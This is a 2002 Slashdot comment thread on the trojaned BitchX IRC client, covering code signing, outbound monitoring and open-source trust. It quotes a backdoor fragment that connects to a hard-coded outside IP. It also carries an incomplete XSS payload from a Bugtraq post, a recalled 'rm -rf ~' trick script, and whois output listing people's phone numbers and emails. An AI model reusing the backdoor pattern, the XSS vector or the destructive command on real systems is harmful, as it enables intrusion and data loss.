BitchX 1.0c19 IRC Client Backdoored

In other news ... by NASAKnight · 2002-07-02 01:45 · Score: 4, Funny

Local inmates confirmed that there was a problem with people entering into BitchX's backdoor. The suspect is a large man calling himself 'big mamma.'

--
Fault loves the past, worry loves the future, but content enjoys the present.

Re:In other news ... by flacco · 2002-07-02 09:45 · Score: 3, Insightful

Oh yeah, gang rape is fucking hilarious until you're faced with the prospect of spending a few nights in jail.

--
pr0n - keeping monitor glass spotless since 1981.

The name.... by wowbagger · 2002-07-02 01:46 · Score: 3, Interesting

Am I the only one who felt a qualm about using this package because of the name?

BitchX - "I 0NZ0R J00, B1TCH!"

--
www.eFax.com are spammers

Re:The name.... by RealisticWeb.com · 2002-07-02 01:51 · Score: 3, Informative

Your not alone by far. My computer (yes even my Linux box) is a family computer, and I refuse to use any software with names or content that is not appropriate for my children to see. Keep in mind that what is "appropriate" is totaly my opinion, and some people would argue with me, but my quesition is: why is this only ever an issue with open source software?

--
Sigs are out of style, so I'm not going to use one...oh wait..
Re:The name.... by dalassa · 2002-07-02 01:57 · Score: 3, Insightful

Because most companies have marketing people to hit them on the head and say no, this is not appropiate.

--
Feminism is the radical notion that women are people.
Re:The name.... by bmetzler · 2002-07-02 04:39 · Score: 3, Informative

It's not really that much of an issue. It would be trivial to go into the BitchX source code, edit the PROGNAME definition, or whatever the equivilent, and make yourself a nice new IRC client named whatever you want.

Yes it is. Unless they've made major changes to the code recently. I tried to patching the code base about a year ago and make a censored version, but the program name is hardcoded in a million places. And once you do find and replace everything, you still have the problem of creating a new patch everytime a new version is released.

-Brent
Re:The name.... by realdpk · 2002-07-02 06:20 · Score: 3, Interesting

perl -pi -e 's/bitchx/FamilyFunX/' `find . -type f -print`

I'd think any average user could cut and paste that. :) Of course, changing BitchX to FamilyFunX won't change the fact that IRC is not meant for children, and that you should not let children on IRC AT ALL* if you're concerned about them seeing the word "Bitch". They'll see much worse.

* Of course, you shouldn't let them on IRC or any other chat without supervision, but y'all knew that.

Most interesting... by phreak404 · 2002-07-02 01:47 · Score: 5, Interesting

Is that when the vulnerability was first submitted they also submitted some interesting finds about the ftp server on BitchX.com serving trojaned and clean versions, depending on the originating IP, demonstrating that the server had been 0wned (more than likely).

Sad that the developers didn't notice sooner, and it makes you wonder how many boxes have now additionally been 0wned because of this.

Who's this? by Draoi · 2002-07-02 01:48 · Score: 5, Informative

There's an interesting IP address hard-coded into the trojaned code;

+ sa.sin_port = htons (6667); + sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);

Doing a reverse-DNS lookup gives;

;; QUERY SECTION: ;; 17.115.77.213.in-addr.arpa, type = ANY, class = IN ;; ANSWER SECTION: 17.115.77.213.in-addr.arpa. 1H IN PTR wenus.dtcomsa.com.

.... so who are they??

--
Alison

"It is a miracle that curiosity survives formal education." - Albert Einstein

Re:Who's this? by zdzichu · 2002-07-02 01:52 · Score: 4, Informative

inetnum 213.77.115.0 - 213.77.115.255
netname DATACOM
descr Datacom
descr Warszawa Bemowo
country PL
admin-c AW7760-RIPE
tech-c RW7118-RIPE
status ASSIGNED PA
mnt-by AS5617-MNT
changed tkielb@cst.tpsa.pl 20000915
source RIPE

(stupidly formatted because of lamefilter)

--
:wq
Re:Who's this? by Neil+Watson · 2002-07-02 01:58 · Score: 5, Informative

PL is Poland.
[nwatson@valetta ~]$whois 213.77.115.17 % This is the RIPE Whois server. % The objects are in RPSL format. % Please visit http://www.ripe.net/rpsl for more information. % Rights restricted by copyright. % See http://www.ripe.net/ripencc/pub-services/db/copyri ght.html inetnum: 213.77.115.0 - 213.77.115.255 netname: DATACOM descr: Datacom descr: Warszawa Bemowo country: PL admin-c: AW7760-RIPE tech-c: RW7118-RIPE status: ASSIGNED PA mnt-by: AS5617-MNT changed: tkielb@cst.tpsa.pl 20000915 source: RIPE route: 213.77.0.0/16 descr: TPNET (PL) descr: Provider Local Registry origin: AS5617 notify: konradpl@zt.piotrkow.tpsa.pl mnt-by: AS5617-MNT changed: konradpl@zt.piotrkow.tpsa.pl 20000728 source: RIPE person: Arkadiusz Wrobel address: "DataCOM" S. A. address: ul Radiowa 21a m20 address: 01 - 485 Warszawa address: POLAND phone: +48 606 298639 fax-no: +48 22 6672495 e-mail: awrobel@wat.waw.pl nic-hdl: AW7760-RIPE mnt-by: AS5617-MNT changed: tkielb@cst.tpsa.pl 20000915 source: RIPE person: Rafal Wrzosek address: "DataCOM" S. A. address: ul Kaliskiego 11a /312 address: 01 - 485 Warszawa address: POLAND phone: +48 606 145187 fax-no: +48 22 6672495 e-mail: awrobel@wat.waw.pl nic-hdl: RW7118-RIPE mnt-by: AS5617-MNT changed: tkielb@cst.tpsa.pl 20000915 source: RIPE

Yes, someone has most likely compromised the box and is using it for the backdoor. However, the owners of the box are still responsible for the lack of security that allowed their box to be compromised.

--
UNIX/Linux Consulting
Re:Who's this? by Neil+Watson · 2002-07-02 02:34 · Score: 3, Insightful

I disagree. That would be equivalent to saying you are responsible for your house being burglared. Not having (adequate) security makes one a likely target. It does not, however, make you responsible.
I see your point. Still, would you say the same for all the Windows users that did not patch there IIS code when Red Code hit?
Anyone who has a box attached to the internet has a responsibilty to others. They have to be held accountable for something. It is true that nothing is crack proof and you can't expect people to have perfect security. However, they have to take reasonable steps to protect themselves and others. But, what are reasonable steps? Who can judge?
If someone breaks into a house and steals a handgun, that was not locked up securly, and then uses it to commit armed robbery; should the home owner be responsible for the robbery? Of course not. However, the home owner should be responsible for improperly storying his handgun. This is the kind of responsiblity I'd like to see. Did someone take reasonable steps to secure their server?
As for the IP in question at the beginning of this thread. At this time, I don't know any details so I'm not casting any blame.

--
UNIX/Linux Consulting
Re:Who's this? by Sloppy · 2002-07-02 03:39 · Score: 3, Insightful

I disagree. That would be equivalent to saying you are responsible for your house being burglared. Not having (adequate) security makes one a likely target. It does not, however, make you responsible.
But your house isn't likely to be used as a weapon against the next victim. I think a much better analogy is that you are partly responsible if your gun is stolen. If you own a gun, you need to take special care and not just leave it around where any idiot or child can take it. The same goes for a computer that is hooked up to the Internet.

--
As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.

It's Odd by Copperhead · 2002-07-02 01:48 · Score: 3, Interesting

According to the bugtraq post, when you downloaded the file, sometimes you received the backdoored version, and other times you didn't.

From the post, "There is something very strange going on with the FTP server on ftp.bitchx.org. In some cases, it serves up the trojaned version; in others, the original, safe version. It seems to be client / client-behavior based (we're not sure exactly what)."

The post continues, "To add a little more to this; we've confirmed that if you come off of what appears to be a cablemodem/dsl IP you are likely to get a trojan'd copy. If you come off of a more static link, you are likely to get a clean copy."

Very strange.

--
Your reality is lies and balderdash and I'm delighted to say that I have no grasp of it whatsoever. - Baron Munchausen

Re:It's Odd by mindstrm · 2002-07-02 02:09 · Score: 3, Insightful

Well, perhaps they wanted to spread it to dumb home users but not to anyone more professional. Perhaps they wanted to go longer without being caught.

Perhaps it's actually a DNS issues, and it's directing some people to a dummy server.
Re:It's Odd by frozenray · 2002-07-02 02:42 · Score: 3, Informative

A user named uid0 made an excellent point in an usenet thread about the backdoored dsniff/fragroute/fragrouter utilities on monkey.org:

This makes one wonder a question that would be best posed to the community; the purpose of MD5/SHA/etc is to provide unequivocal evidence as to the validity of a piece of data. More often than not, such files are kept in the same, vulnerable, location as the actual data. Clearly one can see the downfall of such a system.

(source)

--
"There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton

ah, the good ol' days by MattW · 2002-07-02 01:49 · Score: 5, Funny

This reminds me of the good old days, when people distributed like 20 different scripts for the irc2 client, all of which had some backdoor or another. Most of them listened for ctcp commands and would pass them directly to shell. CTCP GROK JUPE CMD ORD -- bonus points to anyone who can name all 4 scripts that had those backdoor commands. Then there were amusing tidbits like scripts that would flood anyone using the authors nick without the right hostmask. Then there was the 'Folder's Crystals' script -- it set your display to off, so you saw nothing even while you joined a channel and were saying, "I've just had all my files secretly replaced by folgers_crystals... let's see what happens!" (meanwhile, the script was executing rm -rf ~).

Of course, back then, you could blame people for running something they didn't understand, since it was on the order of getting a whack-a-bill game by email and just running it, whereas tainted downloads aren't quite as shameful, but ah, it does bring back the memories of the Wild Days of irc...

See, this is what's cool about OSS.. by XaXXon · 2002-07-02 01:50 · Score: 3, Insightful

If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

Anti-GPL people (read Microsoft and their lackies) may try and take this as a weakness in OSS, but I look at it as a strength. If one of their developers gets something like this into one of their products (either on his/her own or with the blessing of the company, the world may never know). With OSS, it's out in the open for everyone to see/fix.

Re:See, this is what's cool about OSS.. by toupsie · 2002-07-02 01:59 · Score: 5, Insightful

If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.
Not to burst your bubble, but if BitchX was closed source, I doubt a third party would have access to the source code to inject the trojaned backdoor, modify the FTP server and set up a bizarre distribution method (has anyone figured this out yet?). Granted many eyes helped find this problem, but in a closed source world, this wouldn't happen unless you had a disgruntled employee or a really stupid project manager. If BitchX were a commercial, closed source product, the exploit would most likely be a buffer overflow, not a blatant backdoor.
Disclaimer: I use a closed source IRC product called, Ircle.

--
Strange women lying in ponds distributing swords is no basis for a system of government.
Re:See, this is what's cool about OSS.. by torinth · 2002-07-02 02:32 · Score: 4, Insightful

If BitchX was some sort of closed-source product, how long might this have taken to show up? Many eyes lock down all backdoors.

Anti-GPL people (read Microsoft and their lackies) may try and take this as a weakness in OSS, but I look at it as a strength. If one of their developers gets something like this into one of their products (either on his/her own or with the blessing of the company, the world may never know). With OSS, it's out in the open for everyone to see/fix.

Please. It's open for everyone who has nothing better to do than read slashdot or bugtraq, maybe. What much of OSS needs but doesn't have is strict maintainers, who know what contributions are made to the product and know what they'll do before they're let in. Fortunately, some of the bigger projects have this (Linux kernel, *BSD, Mozilla), but alot of OSS today is about people being too lazy or incompetent to double check some 15-year-old hax0r's crappy-ass contribution until it's too late.

The other thing OSS needs to enforce a little better is something along the lines of code signing. From what I can tell, it looks like somebody hijacked the bitchx FTP domain on some routes and is returning trojaned copies to the downloaders who are going through it. This is a weakness of OSS. It's much easier for me to grab a piece of Open Source software, drop some malicious code in it, and redistribute it from a hijacked domain than it is for me to do so with something I don't have the source to. Granted, it's still possible, if I inject code into the compiled version, but it's a hell of a lot easier to do it with source.

The simplest move is to use MD5's for major releases and have some 3rd-party location to verify them. Freshmeat? Sourceforge? This, at least, could add some security, and would a central point for people to watch out for hijacking...

Get your head out of the damned OSS-as-a-religion sand and look at what needs to be done to make it viable to people who don't fuck around reading about the next idiot to shoot himself into space in a backyard rocket.

Meh. Enough ranting, for now.

-Andrew
Re:See, this is what's cool about OSS.. by Fizzlewhiff · 2002-07-02 02:38 · Score: 5, Insightful

Not sure but on my non OSS operating system I run firewalls and intrusion detection software to help me catch spyware and other things which are accessing ports which I am not aware of. Since I'm not the only one who does this I would think the backdoor would be found. You don't have to see the source code to find holes if you can see the holes.

Frankly I am quite tired of this common belief that thousands of eyes are constantly scanning OSS looking for problems to fix. In the 9 or so years I have been using Linux and GNU software I have never looked for such things. Maybe that is because I am a developer and spend enough time with my code. Even when I first started with Linux and things like CDROM and NICs required patching and compiling I was content with the code I was downloading. Hobbiests tended not to screw other hobbiests (unless money is changing hands) and I tend to still believe that. I really doubt there are that many people who police code. If you are working on something and notice a problem then you submit a patch but the belief of a huge and constant code review going on is a false one as far as I am concerned.

With the popularity of Linux and free software however and the perceived threat to some commercial software it might be wise for OSS project leaders to be extra careful of new code that slips in. I have belived for a while that sooner or later we will see companies like Microsoft or Sun let slip some pattented code into a free software project just so they can come back later and shut it down with a lawsuit. Face it, these companies are getting hurt. A project like Mono has the potential to hurt .Net and if successful hurt Java. I would not have thought that someone would slip in a backdoor into a project however.

Anyway, I don't think you can look at OSS or a closed source project and say one is more "secure" than the other. I think it really comes down to how it is managed and the quality of the people who are contributing. You might also want to consider they type of application.

As far as IRC goes, this is a community where you are judged by how "bad-ass" your kick scripts are and your "l33t h4xx0r" skills. I'd be cautious of any IRC tool I used for that matter.

--

'Same speed C but faster'

Re:XSS in Slashcode by Jester998 · 2002-07-02 01:52 · Score: 4, Interesting

Hey... nice "copy and paste" from the BugTraq posting...
----- BEGIN BugTraq POST -----

Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsu bscribe: <mailto:bugtraq-unsubscribe@securityfocus.com&g t;
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Deli vered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 31935 invoked from network); 2 Jul 2002 08:55:04 -0000
Message-ID: <20020702085626.305.qmail@web21002.mail.yahoo.c om>
Date: Tue, 2 Jul 2002 01:56:26 -0700 (PDT)
From: gcsb <gcsbnz@yahoo.com>
Subject: XSS in Slashcode
To: bugtraq@securityfocus.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-UIDL: "[K!!WR\"!nkN"!NSF"!

There is a nasty Cross Site Scripting(XSS) vuln in
Slashcode. This was used a day or so go on
slashdot.org and resulted in most of the site being
taken down for an hour or so. The maintainers of
slashcode have patched the problem in CVS but have not
even mentioned it anywhere that I can find. This
leaves all sites using slash vulnerable to this
exploit.

An example exploit (incomplete) is as follows:

<p > onMouseOver..insert javascript here...>

I am dissapointed that the slachcode maintainers have
silently fixed this on slashdot.org yet made no
mention of the problem elsewhere so that other sites
can patch themselves. No wonder there are so many
"trolls" on slashdot.org...ah well.

If you run a site using slashcode, get the latest CVS.

That is all. Move along.

________________________________________________ __
Do You Yahoo!?
Sign up for SBC Yahoo! Dial - First Month Free
http://sbc.yahoo.com

----- END BugTraq POSTING -----

You didn't even reformat the exploit code so that it showed up properly... sheesh.

- Jester

Backdoor. by ldopa1 · 2002-07-02 01:53 · Score: 4, Interesting

Is this truly suprising? With the proliferation of "secret" functionality in everything from DVD's to Palm applications, it seems that a lot of developers take great delight in doing something "on the sly" that will get them noticed.

While the vast majority of these "easter eggs" are completely harmless, it's only logical to assume that they present an opportunity for malicous activities. I mean, who among us doesn't have SOME "H4X0R" history? Doesn't it follow that some of that will come out when the opportunity to put in a "gift" presents itself?

Also, this seems to me to be one of the down sides of the Open Source fight. Most of the accomplished hackers that I know are strong advocates of Open Source. It leads me to believe that most of the proponents of Open Source are or were at some time at least a script kiddie with delusions of grandeur.

Nobody I know has the time to actually check every line of code in a 200 Meg build for one or two lines of backdoor code, especially when the application is DESIGNED to make and break connections.

--
The Dopester
"Yes, I'm a Karma Whore, but I'm doing it to pay my way through school."

Re:Backdoor. by kmellis · 2002-07-02 02:33 · Score: 3, Insightful

This is the real security threat for everyone, particularly anyone with sensitive data.
Viruses and worms have been mostly merely malicious. Same with cracking. And the malice involved is not very great. But what if people get serious about stealing data?
A few years ago I had an epiphany one night, and waltzed into a network security company the next day.
"Look", sez me, "Inbound connections and activity are, in the long run, not going to be the real threat. The real threat is trojaned applications that mine for data and somehow send it offsite. You need to be monitoring outbound activity for appropriateness. For example, eventually you're going to see corporate espionage where someone writes an attractive and actually useful little app, then social engineers a targeted person within an organization to download it and compromise security. This is just an example of the general problem."
They were actually pretty impressed, but the company's strategy was deliberately to avoid concerning itself with viruses or worms (more specifically, they wanted to stay only on the servers, monitoring network activity in a sophisticated manner). But it seemed to me that this was a natural extension of their product and technology. And they thought I was a pretty bright guy, but they didn't know what to do with me. Well, anyway. The irony is that they were only a year or so later bought by one of the big antivirus firms, mostly just to acquire their technology.
In this particular case, the BitchX irc app, it looks like an outside source injected some backdoor code into the application, and hacked the ftp server to distribute it in a selective manner, presumably to help lower the risk of detection. A lot of effort for not that great of a payoff, really. Here, as is often the case, it's mostly about proving how clever you are.
But we're starting to see rudimentary examples of what I was warning about with spyware and other apps that make outbound connections that are in some sense illicit. Firewalls monitoring outbound connections can only be so successful given that they're always going to let some through. I know that some of the client based firewalling/monitoring software looks at connections on a per application basis. That's a start.
Personally, my inclination is that we need a networking monitor that operates like a virus scanner -- on the client, in the background -- that accesses a secured database of allowed application to outbound connection mapping, with secured handling of exceptions or new applications referred to a security admin (ideally) or an admin. This way we don't have to use a brute-force approach that simply locks down all allowed applications and allowed outbound connections in a non-specific, usability-destroying way.
But whatever the solution, I have little doubt that this will be a growing problem which will make a transition from script-kiddie nuisance cracking to something much more sophisticated. Although I could be wrong.

Digitally sign your sources... by Cyclops · 2002-07-02 01:54 · Score: 5, Informative

Many don't digitally sign their sources with a secure key, and thus there is absolutely no way to verify that those sources are the ones the developer intended to release.

Many think that a simple md5sum alongside the sources is enough. IT IS NOT. Any attacker who replaces the sources can as easily replace the md5sum, which can be generated by anyone.

A digital signature (I suggest using gpg) can only be generated by YOU if you keep it in a secure place, and use it to sign the sources. The public side of this key should be widely distributed and preferably signed (that is recognized) by third parties... the most trustworthy these third parties can be, the better.

After the huge attack on the network where such sites as Apache were hosted, other Apache projects which did not sign their packages suddenly started signing them. They got scared. You should be too.

A lot of people instinctively trust their dns resolutions (oops) and also think that if they go to http://www.mozilla.org they will get their favorite browser for sure. They are also wrong. dns can be spoofed under certain conditions, so they could be going to crackersR.us instead, and downloading a neat trojaned source, for instance.

The more a project grows in fame, the more it will become a likely target for these kinds of attacks, so the more need to a degree of responsability that should not be needed, but it unfourtunately is since the danger is ubiquitous.

Be carefull, be very carefull.

Also avoid using user root period.

Re:How long... by Anonymous Coward · 2002-07-02 01:57 · Score: 3, Insightful

About 5 seconds into install, when the closed-source firewall running on the closed-source OS catches the closed-source IRC client trying to create the reverse telnet connection.

GNU/Linux needs signed downloads by splorf · 2002-07-02 01:58 · Score: 5, Insightful

I'm sorry but this is one thing Microsoft and/or Netscape did right. The practice of including detached PGP signatures on download sites is useless--they have to be manually verified, and hardly anyone bothers.

GNU/Linux downloads should be in signed archives like Netscape JAR files. JAR files are basically ZIP archives with a signature file stored inside the .zip in a standard place. When you unpack the archive, the unpacker checks the signature the same way a browser checks an SSL web site.

JAR files use a certificate chain ending in a certificate authority (usually a commercial one) but maybe the signed-download scheme could be signed against a certificate on the official developer's website. Of course that wouldn't be unspoofable, but it would be as secure as the current scheme of having a PGP public key on the developer website and signing against that. The main benefit is the checking would happen automatically, so it would be much harder to put crap into downloads. If someone makes a modified version, they would have to sign it themselves (with a signature pointing back to their own website) or else the unpacker would print a message saying the code was unsigned and the user should check it carefully before using it.

Re:GNU/Linux needs signed downloads by bogado · 2002-07-02 02:18 · Score: 3, Informative

RPM does this, and most rpm managers do exactly this (red-carpet for instance). I bet debian has the same type of protection. If you only install software from trusted distributors, you should be fine.

--
[]'s Victor Bogado da Silva Lins
^[:wq

Re:XSS in Slashcode by Pave+Low · 2002-07-02 01:58 · Score: 3, Insightful

Interesting how there's a fairly serious bug in slashcode that was exploited yesterday but they don't publicize that. At least they fixed it quickly, but if you guys like to point out other peoples bugs, how about shining the light on yourself once in awhile? I'm sure other slashcode sites would have liked to have known about it.

--
SIG:Slashdot: indymedia for nerds.

Enough talk by WildBeast · 2002-07-02 02:18 · Score: 3, Funny

Grow up, nothing is perfectly secure. Let's stop arguing which OS is vulnerable and find the evil do-ers who did this. Let's smoke them out from there parents basement and deliver a Slashdot can of whoop ass.

Re:Enough talk by idiot900 · 2002-07-02 03:05 · Score: 5, Funny

deliver a Slashdot can of whoop ass.

What would that be exactly? Sending too many visitors to their website?

Re:XSS in Slashcode by jamie · 2002-07-02 02:21 · Score: 4, Informative

This post is quite inaccurate and we will be responding, also on bugtraq, momentarily. The author of the post did not contact the Slash development team, or we could have corrected some of his misconceptions.

Put the client in a jail by Animats · 2002-07-02 04:37 · Score: 4, Insightful

IRC clients are a good place to start on security, because they need very limited access on the client machine. So put the client in a FreeBSD jail. All it needs to talk to is its window and the net, and maybe a few specific files.

Jailing a browser is tougher, but an IRC client should be easy. Somebody who's into IRC and security should do this as a demo.

Re:Put the client in a jail by Junta · 2002-07-02 05:01 · Score: 4, Insightful

Actually, I would say both are equally 'tough' to jail. Access to the network is pretty much the same, both tend to use particular, specific ports but circumstances can require just about anything, though IRC tends to deviate less than web browsers do from the standard ports, they still deviate.

As far as file system access, neither *truly* require write access to the disk nor read access to nothing more than a few config files. I know, browsers tend to use disk as cache and you want to download using your browser as well, but same goes for IRC, a large portion of users exchange files through the IRC client with the intent of the transferred file not being transient. For those who want to have non-transient downloads (and ability to save configuration, both sorts of clients equally likely to require this), chroot is as far as I would go.

Strictly speaking, all network applications have similar issues. While it may appear easy to pinpoint required operations of a piece of software, there are always enough deviations to make it not 100% possible to tighten it all down. The only place where you can really predict and jail based on those predictions what a network application needs to do and access is on the server end where you have the most control over how the network is used. Clients having to interoperate with oddball server configurations and users who want to use the software in different ways will always make the jailing you describe less feasible.

Of course, most any app could run fine in a chrooted environment if you have the disk space for the requisite libraries, and that by itself greatly reduces (but doesn't eliminate) threats to data outside the chroot jail.

--
XML is like violence. If it doesn't solve the problem, use more.

Look kids... by ice-man_efnet · 2002-07-02 05:22 · Score: 4, Insightful

The developers of BitchX did *NOT* put malicious code in the source. For one thing, there were two versions of the 1.0c19 source running around. It also seems that the security on *.bitchx.org was never even compromised. The problem lies somewhere with a 'man-in-the-middle' changing some DNS aliases somehow. This is why some people were able to download the real version that was actually released, and some people got the 'hacked' copy.

Also, even though the box doesn't appear to be compromised, it could happen. I hope one of you kids out there is the first one attacked when a new apache or ssh bug is found. You can never be completely secure, especially when you are running anonymous servers for people to download programs.

kthx.

ice-man@efnet.

GNU/Linux HAS signed downloads by Nailer · 2002-07-02 11:10 · Score: 3, Informative

RPM, the standard packaging system according to the Linux Standards base, had support for PGP (IIRC) around three years ago. This was replaced / upgraded to GPG a couple of years ago. Every package in Red Hat Linux (and most other popular distros) is signed (unless someone screws up - there was a case where 2 packages weren't properly signed, but signed replacements were made avaliable soon after). RPM will print a strong warning if the signature isn't correct (and maybe fail the operation - dunno, my signature's have always been correct).

Dpkg also recently added GPG support, buy you have to trust individuals rather than a specific company - no packager is going to lose their job if they're working in Albania on Debian trojaning packages.

Slashdot Mirror

BitchX 1.0c19 IRC Client Backdoored

36 of 305 comments (clear)